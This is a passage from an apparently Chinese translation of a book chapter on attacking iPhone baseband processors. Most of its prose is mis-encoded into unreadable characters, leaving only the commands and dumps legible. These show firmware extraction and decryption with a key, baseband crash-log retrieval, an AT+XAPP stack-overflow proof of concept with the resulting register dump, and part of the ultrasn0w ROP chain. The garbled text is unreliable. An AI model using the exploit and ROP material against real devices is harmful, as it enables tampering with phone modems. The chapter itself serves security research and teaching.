ۋ௾᤯ᄉiOSӣጞ὇ᤆԓὈ᣾ር˖ᤈᛠᄉǌࠪ̅ᄯҁiPhone 3GSᄉᣖேڙᄉӣጞ௦͇ڌ۲ࣛ

ՁᄉiPhone̾ԢiPad 1ᏪᝒὋᤇʶ͇ڌᦏӉդڙramdisk᪪Ϸ˖ǌ᜵ଡԨឞ͇ڌὋੇ͂ࡂᭉ᜵ᝌࠚ

֖ેଋឞ᪪ϷὋࣲ̯/usr/local/standalone/firmware͇ڌ҃ܬ᪪Ϸǌ˝˿̯iOS 3.1.3ఝள˖ଡԨ

iPhone 2Gᄉ۲͇ࣛڌICE04.05.04_G.flsὋੇ ͂Ժ̾΍ၸplanetbeingधԦᄉፋҦࢹХxpwntool὇ Ժ
̯̾https://github.com/planetbeing/xpwnʽᣑឞࢹХὈὋ૊ཱݟʽ൥ᰠᤈᛠୱͺὙ 

$ wget -q http://appldnld.apple.com.edgesuite.net/content.info.apple.com/iPhone/ 
061-7481.20100202.4orot/iPhone1,1_3.1.3_7E18_Restore.ipsw 
$ unzip iPhone1,1_3.1.3_7E18_Restore.ipsw 018-6488-015.dmg 
Archive: iPhone1,1_3.1.3_7E18_Restore.ipsw 
  inflating: 018-6494-014.dmg 
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$ xpwntool 018-6494-014.dmg restore.dmg -k 7029389c2dadaaa1d1e51bf579493824 –iv 
  25e713dd5663badebe046d0ffa164fee 
$ open restore.dmg 
$ cp /Volumes/ramdisk/usr/local/standalone/firmware/ICE04.05.04_G.fls. 
$ hdiutil eject /Volumes/ramdisk 

⊼ᛣ ᤇ᧖ၸͺxpwntoolԟஜᄉᤇ̎ࠚᨄԺ̾ڙiPhone Wikiʼ੼ҁ὇http://theiphonewiki.com/ 
wiki/index.php?title=VFDecrypt_KeysὈǌ 

ࠪ̅ᣖளۋՁᄉiPhone֖iPad 2౎ឬὋੇ ͂Ժ̾ѽၸᝌԌ᎕ࢹХᄯଋ̯IPSW˖ଡԨ۲͇ࣛڌǌ

˓ఴὋᏪᤇྟ͇ڌiPhone 4˖ᄉX-Gold 61xጆѴᔆྞʼᤁᛠᄉڙ௦͇ڌᆉຌӬ11-1˖ὋICE3̼ڙ

Trek஠͇ၸ̅ӣጞiPhone 4S˖ᄉMDM6610ʼᤁᛠᄉ͇ڌǌ 

ҷⷕ⏙ऩ11-1� iPhone 4S 5.0.1ఝள˖Ӊդᄉ۲͇ࣛڌ 

$ unzip -l iPhone4,1_5.0.1_9A406_Restore.ipsw Firmware/[IT]\*bbfw 
Archive: iPhone4,1_5.0.1_9A406_Restore.ipsw 
  Length    Date      Time   Name 
--------    ----      ----   ---- 
 3815153    12-04-11  02:07  Firmware/ICE3_04.11.08_BOOT_02.13.Release.bbfw 
11154725    12-04-11  02:07  Firmware/Trek-1.0.14.Release.bbfw 
--------                     ------- 
14969878                     2 files 

ᤇ̎.bbfw஠͇ఴᢵ˶௦ZIPॅು஠͇ὋᏪ˄դథࠃᬄᄉ۲֖͇ࣛڌᔩ࣯Ҫᣑ٧Ὑ�

$ unzip -l ICE3_04.11.08_BOOT_02.13.Release.bbfw 
Archive:   ICE3_04.11.08_BOOT_02.13.Release.bbfw 
  Length    Date      Time    Name 
--------    ----      ----    ---- 
   72568    01-13-11  04:14   psi_ram.fls 
   64892    01-13-11  04:14   ebl.fls 
 7308368    12-04-11  02:07   stack.fls 
   40260    01-13-11  04:14   psi_flash.fls 
--------                      ------- 
 7486088                      4 files 
 
$ unzip -l Trek-1.0.14.Release.bbfw 
Archive:  Trek-1.0.14.Release.bbfw 
 Length     Date      Time    Name 
--------    ----      ----    ---- 
19599360    12-03-11  10:06   amss.mbn 
  451464    12-03-11  10:06   osbl.mbn 
  122464    12-03-11  10:06   dbl.mbn 
  122196    12-03-11  10:06   restoredbl.mbn 
--------                      ------- 
20295484                      4 files 

ᤇ᧖ԵథࠪःX-Goldᄉstack.fls஠͇֖ࠪःMDM66x0ጆѴᔆྞጷᄉamss.mbn஠͇੥௦ੇ͂

ਕТᡙᄉǌФ̴஠͇ᦏԵ௦Ҫᣑ٧஠͇Ὃʿ᣾ੇ͂ڙ൤ʿϡᤈʶ൥ᆐቂὋᙉཨԓѶʼᝮ߱͂˶Ժ
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ᑞӉդː᧗ᄉ߶К໣วὋඊழᔩ͇ڌኣՏᰍ᝼᣾ር˖ڙߚ໣วὋࡂథԺᑞᝧஈѣᏧڙ᝹ܫʼᤁᛠ

Ф̴ᄉ̯͇ڌᏪᝧឞ᝹ܫᝌᩙǌ�

11.4.2� ᇚ೎ӊ䬰ڣ䕑ܹIDA Pro 

ᔭᮺёᄉ.fls஠͇௦ѽၸ߽ழᄉARM Compiler Toolchain὇ARMᎃដࢹХᩖὈѸतᄉὋ಩૵Х

ͳᄉ۲ࣛྟ͇ڌఴὋ௄Ժᑞ௦΍ၸARM RealView Development Suite὇RVDSὈὋ˶ Ժᑞ௦΍ၸARM 
Development Suite὇ADSὈǌARMᄉᩖଋ٧᧓ၸ˿þѫ஘ᣑЙÿ὇scatter loadingὈ఺҃̾ᓫᄴ᫄ߚ

ቆᫍǌڙᤈᛠᩖଋௐὋ੝థ̼ᆉൿ֖ХథࣂѹݼӐஜ૵ᄉஜ૵ൿ͗˘ଋڙʶᡐὋࣲ˄ੇ͂Ժ̾ᤤ

સˏሗኤӬຣርᎃᆉኪก˖ᄉʶሗࠪᤇ̎ൿᤈᛠԌ᎕ǌੇ ͂ᤆ᜵ၸૈՓᤇ̎Ӝ۪ᄉૈ᧪̾Ԣࠪः

ᭉ᜵ѹݼӐ˝0ᄉӜ۪ᄉஜ૵ᮉౝतʶ˓ஜ૵ᛪǌڙᤁᛠௐὋըҮ̼ᆉ͗ࠪឞᛪᤈᛠᤕ̼Ὃઁᤇ

̼̎ᆉൿ֖ஜ૵ൿ҃ܬҁ߱͂ڙЮߚ˖ᄉࠃᬄͮᎵὋࣲ಩૵᜵යѸतᥦ̎ᭉ᜵ѹݼӐ˝0ᄉЮߚ

Ӝ۪ǌ 
ᤇ਒։ᅋࠪڙ.fls஠͇ᤈᛠ͉ʹథ਒˦ᄉѫౡ˧ґὋੇ͂ᭉ᜵੯ᛠᤇ̎ըҮ̼ᆉ੝߸੆ᄉՉ

൥ࢹͺǌܷ ͺǌኃʶሗ௦IDA Proᄉஓር˖ଠᤗᄉὋѽၸQEMUࢹԺ̾᤯᣾ᔩ࣯ሗழय߸੆ᤇʶࠑ
ഴ઱٧ᄯଋ੯ᛠըҮࣿѴǌኃ̃ሗழय௦᤯᣾΍ၸᑭఴ੊Ҫᣑ٧ഴڰὋઁ Юڙ᧗ள߶Ꮅҁ͇߱ڌ

ʶൿௐᫍ˿὚Ꮺੇ͂͛ึ˖ړࠆiPhoneᳫڙፂࣂᄉͮᎵǌၿroxfanᎃзᄉ᤯ၸѫ஘ᣑЙᑭఴ˖ߚ

ᎃз֖Ԧ࣊˿ʶ˓᧪ࠪiPhone۲͇ࣛڌᄉIDA Proഴڰ὇flsloaderὈὋ߱Ӊդ˿ᤇʶҩᑞǌܷࠑԺ̾

Ꭹቢ὇www.wiley.com/go/ioshackershandbookὈʼʽᣑ߱ᄉ̼ᆉǌФ˖ᤆդథݒఴ˹ᄉᦠڙ

make_tasktable.pyᑭఴὋ߱Ժ̾ᒬҮខѾၿNucleus PLUS˖ᄉApplication_Initialize()

੊ThreadX˖ᄉtx_application_define()Ѹतᄉ͉ҫᛪǌ 
ᰳ᤯ᄉ͇ڌ஠͇ᦏ௦ಕэᄉELF὇Executable and Linkable FormatὋԺ੯ᛠ˄ԺᩖଋಪयὈ஠

͇ὋܷڙࠑᣑЙ߱͂ௐʿᭉ᜵΍ၸᒬ߿˦ᄉIDA ProҪᣑ٧ഴڰǌ 

11.4.3� ᑨ⫼/෎ᏺ໘⧚఼᥹ষ 

ጹᄹ۲ࣛ٧ူܪˀःၸ٧ᫍူܪᄉᤋଋὋ;͗ࡂԦဗˀAT̽֐ᝌ᧕٧ᄉ̓ึʿ௦ᄯଋڙ˘

ᛠጲᡸʼᤈᛠᄉὋᏪ௦థॡܲЮܬࠓၸ˘ᛠጲᡸ὇ᔭᮺёᔆྞὈ੊᤯ၸ˘ᛠ঳ጲ὇ᰳ᤯ᔆྞὈǌ

ᔭᮺё۲ࣛ٧ူܪᄉܬၸ௦ڙቿՋ3GPP 27.007᜺ᔴᄉcom.apple.driver.AppleSerialMultiplexerЮ
ನੰࡘ˖߸੆ᄉǌᰳ᤯۲ࣛ٧ူܪѶၸҁ˿ᰳ᤯˃థᄉӨᝫúúᰳ᤯MSMଋԯ὇QMIὈǌڙၿ

CodeAurora᝶ڲѸतᄉၸ̅MSMࣰԻᄉLinuxЮನѫஂ὇https://www.codeaurora.org/contribute/ 
projects/qkernelὈ˖Ὃੇ͂ᑞ੼ҁ౼ሗQMIࠃဗᄉຸ̼ᆉǌ  

11.4.4� ᷜ䎳䏾Ϣ෎ᏺḌᖗ䕀ټ 

˝˿ѫౡ໣วࣲ὇ఝ᧗᜵ᄉ௦Ὀࠃᬄѽၸᤇ̎໣วὋࠪጆፑ࢜ຳௐᄉ࿃х̾ԢԺᑞৰхʽࠪ

ጆፑᤁᛠௐᄉ࿃хథ੝˿ᝌ௦౜˝᧗᜵ᄉǌ 
ࠪ̅΍ၸᔭᮺё۲ࣛᄉiOS᝹ܫᏪᝒὋܷࠑԺ̾΍ၸAT+XLOG̽֐ᖌ३۲ࣛ࢜ຳ௅ং֖߱͂
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ᄉಖᡱᢍǌఝݫᄉ௦ὋڙX-GoldᔆྞʼὋੇ͂Ժ̾ڙʿࠃᬄѽၸbugᄉৰхʽᝎԦ۲ࣛЮߚᄉನ

ॶᣀϱǌਆᤇಧϡὋ;ᯪЎᭉ᜵ըၸឞҩᑞὋᤇԺ̾᤯᣾ڙષՁርࣿ˖ષԶྱߙ߿ቿ˘὇ၿ

CommCenterᝌౡὈ౎ࠃဗǌ᤯᣾֏ԶՁᆉ*5005*CORE#Ὃੇ͂ࡂԺ̾ըၸನॶᣀϱҩᑞ὇֏Զ

#5005*2673#С᫆ឞҩᑞὋᏪ֏Զ*#5005*2673#Ժ̾௬ᇧ᝹Ꮅ࿃খὈǌѽၸminicomࢹХὋܷ ࠑ

Ժ̾ઁAT̽֐AT+XLOG=4Ԧᤞፋ۲ࣛὋ̯ᏪᝎԦऩ࣡Ὃᤇಧࡂᑞᝧ۲ࣛЮߚᣀϱǌᣀϱ஠͇௦

૊ЮߚӜ۪ѫҞᄉὋᏪ˄͗ᜁߚϱڙ/var/wireless/Library/Logs/CrashReporter/Basebandᄫेʽ्ݟ

log-bb-yyyy-mm-dd-hh-mm-ss-cdᄉᄫे˖ǌ 
# cd /var/wireless/Library/Logs/CrashReporter/Baseband 
/log-bb-2012-01-17-11-36-07-cd 
# ls -l 
total 9544 
-rw-r--r-- 1 _wireless _wireless   65544 Jan 17 11:36 0x00090000.cd 
-rw-r--r-- 1 _wireless _wireless   16760 Jan 17 11:39 0x40041000.cd 
-rw-r--r-- 1 _wireless _wireless  262152 Jan 17 11:40 0x40ac0000.cd 
-rw-r--r-- 1 _wireless _wireless  262152 Jan 17 11:40 0x40b00000.cd 
-rw-r--r-- 1 _wireless _wireless  539372 Jan 17 11:36 0x60700000.cd 
-rw-r--r-- 1 _wireless _wireless 8564860 Jan 17 11:39 0x60784ae4.cd 
-rw-r--r-- 1 _wireless _wireless   16392 Jan 17 11:36 0xffff0000.cd 

ࠓథஜሙ௬ᇧЮ͗ࡂʼ࣪ࡕ੆˿ᤇ̎ୱͺὋ;ᄉiPhone߸ڠ౦ൣᆷݟ þ̋Baseband Core Dump 
in Progressÿ὇۲ࣛನॶൣڙᣀϱὈᄉ๖োǌ�

11.4.5� ফᬏߏ䴶 

ఴᓫ͗ࠪ۲ࣛ٧ူܪଡΘᄉԩஈѣ᭦ᤈᛠ᝿ͤǌࠪ̅ఴڠ໣วஈѣὋ᤯᣾AT̽֐ᝌ᧕٧఑

᭚ᄉѥஜ͗ڙᣃᝌᩙ˖ԩҁஈѣὋʿ ᣾ᤇࣲʿ௦੯ᛠఴڠஈѣᄉ׬ʶழयǌԲʶ్ڙ᣾Ԝࣂᜁ੆

ҩѽၸᄉ᤬फ़௦SIMˀ۲ࣛ٧ူܪ˧ᫍᄉଋԯὋʶ˓Տ˝JerrySIMᄉ໣วஈѣርࣿࡂѽၸ˿ឞ᤬

फ़ǌឞଋԯఌᘨᄰॆܷᄉܬఽবὋྱѾ௦Ꮵᘼҁ౎ᒬSIMᄉSTK὇SIM Application ToolkitὋSIM
ःၸࢹХӉὈ֖USAT὇USIM Application ToolkitὋUSIMःၸࢹХӉὈ๖োᭉ᜵३ҁᝌౡ֖ူܪ

ᤇʶ̂ࠃǌࠪ̅ᰳ᤯۲ࣛᏪᝒὋФUSBಖ˶Ժᑞ੆˝ఴڠஈѣᄉԺᛠᄫಕǌ಩૵linux-arm-msm
ᥪ͇Ѵᛪ˖Ԧ࣊ᄉᥪ͇Ѵᛪ౎ᄹὋᰳ᤯МՂͪ˪˝ᄰःᄉಖ΍ၸ˿ChipIdeaನॶǌథᡙᄉ௦Ὃ

X-Gold 61xጆѴᔆྞጷᄉ۲͇ࣛڌ˶ӉդUSBಖὋʿ᣾߱ͪ˪෤Ҩก̯ःၸ٧ူܪ᝺᫇ǌ 

⊼ᛣ ᣃᝌᩙ௦ࠪᚃቖӨᝫಖᄉ᭣බˣবνஇὋඇॆ۲ࣛ٧ူܪ᧗ըՐᦏᭉ᜵᧗ளःၸὋʶᓉ

௦᤯᣾ซЙ͉ҫࠃဗᄉǌᤇˀᣖ௉ௐϊᥦ̎ሥ˝ᆵᝌᩙᄉᝌᩙࢹХʿՎὋᆵᝌᩙ͗බˣ

ఢ૰ߚϱߚ᫄ڙ˖ᄉ۲͇ࣛڌǌ 

Ӏࠢ᤯᣾ቆ˖ଋԯ఑᭚ѢᄉᚃቖӨᝫಖԩஈѣ᭦ௐὋܷڙ ᄉǌᮂᮟஜ૵ᄉݼधࡎ௦̯ణऄࠑ

ᝌᆉ٧௦Юߚ૮ڭ໣วᄉ࣡᜸౎ຸὋԀΦڙGSMӨᝫಖᄉᮖ۪˖˶௦ݟ൤ǌ̲ ጹಉᄹὋ;͗ࡂ੼

ҁ᤯᣾ቆ˖ଋԯԦᤞ᫁ऎߙൿᄉឥᮂᎃᝌᆉ٧ὋᏪ੝ᏥᘼᄉᚃቖӨᝫಖథԺᑞζ͉߱Ὃ˶ థԺᑞ

ʿζ͉߱ǌʿ᣾Ὃᤇሗ໣วࠪஈѣᏧᄉʿѽ˧̅ڙܪὋ߱͂ᭉ᜵ࣂतበᄉឥᮂᤋଋ˝ґଡǌʼᒯ
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ஜ૵ᩖᡸࡎᄉЮߚ૮ڭ໣วڙᤇʶࡎ˶௦ԺᑞѢဗᄉὋʿ᣾᣾ᆀᄉࣜ὇17ߙᓫὈʿѽ̅धࡘ໣ว

ஈѣǌ 
ᭉ᜵ಉ᫝GSM 04.08᜺ᔴᄉፘ͉ࡂ;ᑞᖌ३ܷઁᄉ఺͗˿ǌ᜵ਆʶଉቂቤὋࡂࡎᎩፎڙࠑܷ

Ꮷúú3GPP 24.008᜺ᔴὋ̯Ꮺ˿ᝌL3ࡎʼᄉ๖ো௦ݟʹᎃᆉᄉὙ๖োణ᫁Ժ̾˝253ߙᓫὋᏪ˄

థܲሗʿՎᄉᎃᆉழयǌᤇ˓þݝÿಕэᄉ᝹᝟Ꮷ௬ཨԩҁASN.1ᄉॕֽὟ̴Љ᝴ܲሗӨᝫᄉ

๖ো΍ၸԪ᫁ߙൿǌڙॡܲৰхʽὋԀΦ௦ᥦ̎௬यܥ௙˝᫁߿ᄉࠃͳὋᦏ͗ၸʶሗ᤯᣾ቆ˖ଋ

ԯ͛ᤞ᫁ऎᄉಪयᎃᆉὋፋᝌౡ٧ᤴ੆൧˦ǌʿ᣾Ὃᤇᤆʿ௦ஈѣᏧ׬ʶᄉለڠὋፘ፝ՓʼᤈЙ

L3ࡎᄉі˓ࡎߔὋ;ᤆ͗ူܪڙᛩЌஜ૵֖ᝌౡᆀ๖োᄉࠃဗ˖Ԧဗܷ᧙૮ڭЮߚᄉ఺͗ǌణՐ

᜵ឬ὇ͭ˶Վಧ᧗᜵Ὀᄉ௦ὋᚃቖӨᝫಖ੝Љ᝴ᄉʿԵ௦ቆᫍবЮߚᆠڭᤇʶሗ्यǌ̂ࠃʼ

GSMӨᝫಖᄉॡܲᦉѫᦏ௦ၿዴࠚǋܷ ஶᏧ˶థܲ३ܲᄉ఺ࠃᝧࡂఽᄉ࿃খ఺᯵ҮᄉὋᤇܬǋۋ

͗लЙௐᫍবЮߚᆠڭὋឰݟФ̼ᆉं˖ᄉ΍ၸՐ᧕உὋྱ Ѿ௦Ꮵᘼҁᤇ̎࿃খ఺˖౼̎ஜ૵ፆ

ౝᄉѫᦠ֖᧕உʿʶ߿௦᤯᣾Վʶ͉ҫ߸੆ᄉᤇʶ̂ࠃǌ 

⊼ᛣ ਆ˿ᝌᤇሗܷܬۋఽ࿃খ఺ᄉΒߔὋឯԟᏥ3GPP24.008᜺ᔴᄉ4.1ڎaǌ 

ʿ᣾Ὃڙ෤థᚃቖӨᝫಖᄉຸ̼ᆉ੊ᄰः̀٧ᄉৰхʽὋខѾ֖вဗௐᫍবЮߚ૮ڭ௦˓ᬱᮤǌ 

11.4.6� Ѡ䖯ࠊҷⷕⱘ䴭ᗕߚᵤ 

᧜̅IDA Pro۲͇ࣛڌஜ૵ं˖ѥஜᄉஜ᧙Ὃࡂኪ௦ࠪథСЮߚ૮ڭᄉ̼ᆉंᤈᛠุࠅࡎ᝟

ᦏ࠱௦ᮉܷࢼᄉ͉ҫǌ 
ᄉʶሗኤӬழก௦ࠬ੼memcpy()֖memmove()ᤇಧ੯ڭ૮ߚЮڙ۲ࣛӨᝫಖ˖ࠬ੼໷ڙ

ᛠЮ͛ڰߚᣤᄉѥஜ֖ዜͪѥஜὋࣲᆐቂᤇ̎ѥஜ˖థ̎גԺ̾ᝧஈѣᏧࠪ᫁ऎ֖὇੊Ὀ͛ᣤᄫ

ᄉڠԨ३ᡛܴᄉଌ҃ǌᏪ˄ὋԵ᜵቉Ԧऩ࣡͗ࡂ᝭े஠͇Տ֖ᛠՁ὇౼̎ৰхʽᤆӉહ๖ো֖ፆ

౦̼ᆉὈᄉ̼ᆉं˖ڙߚᅋՉሗறᝒὋ߱͂˶ࠪ߸੆ᤇʶ͉ҫథ੝ࣞүὋᤇ̎ߙቿ˘ၴᒯ͗Ѣဗ

 ᄉၶ̖ྟఴ˖ǌ͇ڌ۲ࣛڙ

⊼ᛣ ਆ੼ҁԺ࠭ᒰЮߚ૮ڭᄉЮߚзୱͺὋੇ͂ᤆథఝᰳጞᄉழกԺၸὋඊழឬѽၸ˿ஂᦠ

ᓫཁಝ὇dominator treeὈᄉဖ೜฽὇loop detectionὈǌਆ˿ᝌఝܲζোὋឯԟᏥHalvar Flake
ڙBlackhat Federal 2003ʼᄉ໥ᇧ஠ುþMore fun with GraphsÿὋ̾ԢPete Silbermanڙ

UninformedయѮኃʶయʼԦᛪᄉథСဖ೜฽ᄉ஠ብǌ 

ᤇሗࠅ᝟ழयڙʿ࠵Өᝫಖ˖ᦏ᭣࣡੆ҩὋʿ᣾IFXಖ˖ܷ᧙ᄉЮߚҝఴ͛ᣤᄉ௦ڰ᫁߿ǌ 

11.4.7� ⬅㾘㣗ᓩ䏃ⱘ῵㊞⌟䆩 

ᤆథʶሗࠬ੼໷ڙЮߚᆠڭᄉழयὋԀ̲ጹ᫝ឳGSM֖3GPP᜺ᔴὋ႐਒͛ᣤᄉ੝థ๖ো˖
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ХథԪ᫁Њገᄉᥦ̎ǌࠪ̅ᤇ̎๖ো౎ឬὋܷࠑԺ̾ណᅋԦᤞդథ᫁ऎʿՋ᜺ᔴ὇ܷ̅᜺ᔴЉ᝴

ᄉణܷϘ੊̅࠴᜺ᔴૈ߿ᄉణ࠴ϘὈᄉЊገᄉ๖োὋࣲ᜹ࠢᤇ௦ՠڙ᝹ܫʼᝎԦ˿࢜ຳǌʿ᣾Ὃ

ᤇሗழกڙߚឰܲ᫇ᮤǌᯪЎὋᙉཨࠪ̅ᥦ̎̾þ௃࿃খÿழयᤁᣀᄉ๖ো὇ඊݟˀሧҮবክူ

థСᄉᥦ̎ҩᑞὈᤈᛠഴዹ฽ណඊᣖኤӬὋͭڙណ̯ڎ֏Զଌ҃ࡎߔ੼໣วௐὋʶѬᦏԪ३ఝೣ

੣˿ǌᤇ᧖౼̎๖োԵథࣂڙፂतበᄉ֏Զ˖੥ԺၸǌФ൒Ὃܷࠑᭉ᜵ࠪណڎᤈᛠഴዹ฽ណᄉӨ

ᝫХథᄰॆख़ऄᄉူᝌǌࠪ̅GSMᏪᝒᤇ௦ॡڇᬱᄉὋځ˝Өᝫѫ࣊ڙஜ̾ӡ᝟ᄉಕэ஠ು˖Ὃ

Ꮺ˄;ॡࠓ௛঒᜼߱͂˧ᫍᄉʶ̎ᄰСবǌ̂ࠃʼὋځ˝ܷܲஜಕэᦏፂ᣾ܲ൒νᝠὋݟ౦ځ˝

ʿᅻ᥊౼˓ಖХͳᥕ९ᄉ௦GSMಕэᄉג˓νᝠྟᏪ෤థСซᥦ̎νᝠὋ;͗ࡂᩱ᣾ʶ̎ˋ᜴ǌ

ణՐ᜵ឬ὇ͭ˶Վಧ᧗᜵Ὀᄉ௦Ὃܷࠑ᜵ܷူܪ᧙ణጻᜁ᝼௙ʿԺѽၸᄉ࢜ຳὋᏪ˄᜵ᔈʼॡ᫁

ௐᫍ੥ᑞူᝌ࢜̎גຳ௦Ժ̾ѽၸᄉǌʶᓉ౎ឬὋੇ͂ॡᬱࠪᚃቖӨᝫಖᤈᛠథ஌ᄉഴዹ฽ណὋ

 ௙ᆷᄉ࿃খ఺Ὃ΍३ॡ̼ܲᆉᡸफ़ॡᬱҁ᣹ǌ߿᜺ᔴ˖໗௦᜺˝ځ
ʿ᣾Ὃ᜵ซ਒ఴብሮՐ͗ଠᤗᄉCVE-2010-3832໣วὋ߱ࡂ௦᤯᣾Ժሥ३ʼþၿ᜺ᔴलᡸᄉ

ഴዹ฽ណÿᄉ᣾ር੼ҁᄉǌ 

11.5� ᇍ෎ᏺⱘⓣ⋲ᬏߏ 

ఴᓫ̭͗ፀˏ˓Ժၸ౎ଌ҃۲ࣛᄉЮߚ૮ڭ໣วᄉΒߔǌኃʶ˓௦Ժ᤯᣾AT̽֐ᝌ᧕٧ᤈ

ᛠஈѣᄉఴڠ໣วǌኃ̃˓໣วԺၸ̅ڙቆ˖ଋԯʼࠪథ໣วᄉiPhoneᤈᛠᤉርஈѣὋґଡ௦᜵

 ឞ఺ᬃᤂ᝹Ꮅึඟ۲ቢǌڙ

11.5.1� ᴀഄᷜ㓧ކऎ⑶ߎ˖AT+XAPP 

AT+XAPP໣ว௦˓ፂЦᄉಖᎀуӜຼѢ໣วὋultrasn0wᝌᩙࢹХ࠱ࡂФͺ˝ʶሗซЙ᤬

फ़ǌ੝థS-Gold 2۲ࣛᦏڙߚឞ໣วὋྟఴʿᰳ̅05.13.04὇iPhone3/3GSὈ੊06.14.00὇iPadὈᄉ

X-Gold 608۲ࣛὋ̾ Ԣ01.59.00ྟᄉX-Gold 61xጆѴ۲ࣛ˶ڙߚឞ໣วǌ@sherif_hashimǋ@Oranavǋ
@westbaer֖geohot᤯᣾฽ណATࠬ̽֐੼࢜ຳՉᒬ࿗በԦဗ˿ឞ໣วǌ 

ǌ̔ڭ૮ߚЮڠ௛ѽၸᄉఴࠓဗॡࠃ௦Ўݝᆐቂᤉር໣ว˧ґὋణڙ ᭦ᄉΒࡘߔᇧ˿ڙ΍ၸ

˿04.05.04_GྟఴICE۲ࣛᄉiPhone 2Gʼഏএᰍ᝼ᝎԦ٧ᄉ஌౦Ὑ 

# ./sendmodem 'AT+XAPP="####################################4444555566667777 
PPPP"' 
Sending command to modem: AT 
------.+ 
AT 
OK 
Sending command to modem: 
AT+XAPP="####################################4444555566667777PPPP" 
-.+ 
# ./sendmodem 'AT+XLOG' 
Sending command to modem: AT 
-.+ 
AT 
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OK 
Sending command to modem: AT+XLOG 
-........+ 
AT+XLOG 
+XGENDATA: "DEV_ICE_MODEM_04.05.04_G 
" 
 
+XLOG: Exception Number: 1 
Trap Class: 0xBBBB (HW PREFETCH ABORT TRAP) 
System Stack: 
             0xA0086800 
             [176 DWORDs omitted] 
             0x00000000 
Date: 15.01.2012 
Time: 05:47 
Register: 
r0:   0x00000000    r1:   0x00000000    r2:   0xFFFF231C 
r3:   0xB0101FF9    r4:   0x34343434    r5:   0x35353535 
r6:   0x36363636    r7:   0x37373737    r8:   0x00000000 
r9:   0xA00028E4    r10:  0xB00AC938    r11:  0xB00B67CC 
r12:  0xA0114F95    r13:  0xB00B2CF4    r14:  0xA010E97D 
r15:  0x50505054 
SPSR: 0x40000013    DFAR: 0x00000001    DFSR: 0x00000005 
 
OK 
# 

⊼ᛣ ᤇ˓Βߔ΍ၸsendmodem὇http://code.google.com/p/iphone-elite/wiki/sendmodemὈˀ۲ࣛ

᤯ζǌݟ౦ਆ᜵ᖌ३ˀGSMྟiPhone 4ʼᄉAT̽֐ᝌౡ٧ᤈᛠ᤯ζᄉଋԯὋ;ࡂ᜵ၸҁ

/dev/dlci.spi-baseband.extra_0ὋᏪ᭣/dev/tty.debugǌ 

٧̾Ԣርࣿ᝟ஜ٧ǌѽၸឞຼѢ໣ߚ੝᜸ὋᤇሗಖᎀуӜຼѢԺၸ౎᝹Ꮅr4~r7࠘ࠑܷݟൣ

วὋੇ͂ॡࠓ௛ઁᒬࣁᄉ̼ᆉซЙҁ۲ࣛ˖ǌ 

11.5.2� ultrasn0w㾷䫕Ꮉ݋ 

ᤇ᧖ଉᝦultrasn0wᝌᩙࢹХঞಧѽၸAT+XAPPຼѢ᜺ᥗiPhone 4ʼᄉᎩፎᩙǌ 
ᯪЎὋܷࠑॸᮋူᝌultrasn0wࢹХӉᄉࢹͺึርǌឞᝌᩙࢹХ͗Փ΍ၸMobileSubstrateಳ

౵ᄉCommCenterᤈርซЙʶ˓Үখंǌڙ೜ಉ᣾ᒬࣁ௦ˀ੝ஂ૆ᄉ۲ࣛᣃ͇ྟఴᤈᛠ᤯ζՐὋ

ឞҮখं͗Փ۲ࣛ٧ူܪԦᤞʶጆѴᄉAT̽֐ὋࠪAT+XAPPຼѢ໣วᤈᛠஈѣࣲᥦ᧖႐ʽʶጆ

Ѵథ஌ᣑᕲǌణՐᄉᄫಕ௦વ੔ࣲνஇၿSECጲር὇func_sec_processὈஅԦᄉ๖োὋ̯ᏪՓ

ᚃቖӨᝫಖ᤯ζ᣾ርᄉФͷᦉѫ͡ᤴࣂᝌᩙ࿃খǌڙ˧ґ᧪ࠪX-Gold 608ᔆྞጷᄉultrasn0wࢹ

Х˖Ὃᤇʶᄫಕ௦᤯᣾ѸतӬ࿗ᄉNucleus͉ҫὋવ੔ࣲఢ૰ᥪ኷๖ো᣹ҁᄉǌ᧪ࠪiPhone 4ᄉ
ultrasn0wѶ᧓ၸ˿ʿՎᄉ᤬फ़Ὃᝌᩙ᣾ር͗᧗зThreadX˖᠆᠉SECᤈርᫍ᤯ζᄉᦉѫ̼ᆉǌ

ఴᓫ᜵̭ፀᄉࡂ௦ࠃဗᤇʶᄫಕ੝ѽၸᄉ੣ൿὋᏪஂ૆iPhone 4ᄉణளྟultrasn0w௦ఴ˹зͺ
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˧ௐణܬఽᄉᝌᩙࢹХὋ౜Фዴݫǌ 
ᜈ߶ڙ౦ݟ ultrasn0w˧Րԥ඼ᎃ /Library/MobileSubstrate/DynamicLibraries ᄫे˖ᄉ

ultrasn0w.dylibҮখࠪ៵Ὃ;͗ࡂᄹҁʶ˓ၿૈՓunlock_stringsߙቿ˘ᄉૈ᧪ጷ੆ᄉૈ

᧪ஜጷὋᏪឞૈ᧪ஜጷૈՓ٧ူܪ۲ࣛڙʼѽၸ˿AT+XAPPຼѢᄉ4˓ʿՎࠃΒǌҕౡᤇ̎Ὃܷ

 ఽऎǌܬХᄉ᭦ጧὋᮖ႔߱ᄉࢹᑞܴପधᝌᩙ࠱ࠑ
ʽ᭦௦ѹݼᄉ̼ᆉซЙǌࣂፂڙ੝Ԧᤞᄉኃʶ˓ᝌᩙߙቿ˘˖Ὃܷ Ժᑞซ਒ҁʶ̎Ѣ˪਒ࠑ

஧ᄉ̂Ὃ̼ᆉʿ௦ᜁᄯଋซЙᄉὋᏪ௦ѽၸၿʶ˓ૈ̽ྞൿ὇0x6014A0F1Ὀౝ੆ᄉROPᩖڙ᭣

࣡ᰳቪᄉЮߚѕᐐʶൿ̼ᆉǌ 

0x00000000      DCD 0x34343434      ; R4 [unused] 
0x00000004      DCD 0x35353535      ; R5 [unused] 
0x00000008      DCD 0x36363636      ; R6 [unused] 
0x0000000C      DCD 0x37373737      ; R7 [unused] 
0x00000010      DCD 0x6014A0F3      ; POP {R3-R5}, PC 
0x00000014      DCD 'UUUU'          ; R3 [unused] 
0x00000018      DCD 0x47804807      ; R4 [code/data] 
0x0000001C      DCD 0xFFFF1FD0      ; R5 [address] 
0x00000020      DCD 0x6014A0F1      ; STR R4, [R5] 
0x00000020                          ; POP {R3-R5}, PC 
0x00000024      DCD 'UUUU'          ; R3 [unused] 
0x00000028      DCD 0xBC0F1C07      ; R4 [code/data] 
0x0000002C      DCD 0xFFFF1FD4      ; R5 [address] 
0x00000030      DCD 0x6014A0F1      ; STR R4, [R5] 
0x00000030                          ; POP {R3-R5}, PC 
[...] 
0x000000B4      DCD 'UUUU           ; R3 [unused] 
0x000000B8      DCD 0x601FD9FC      ; R4 [code/data] 
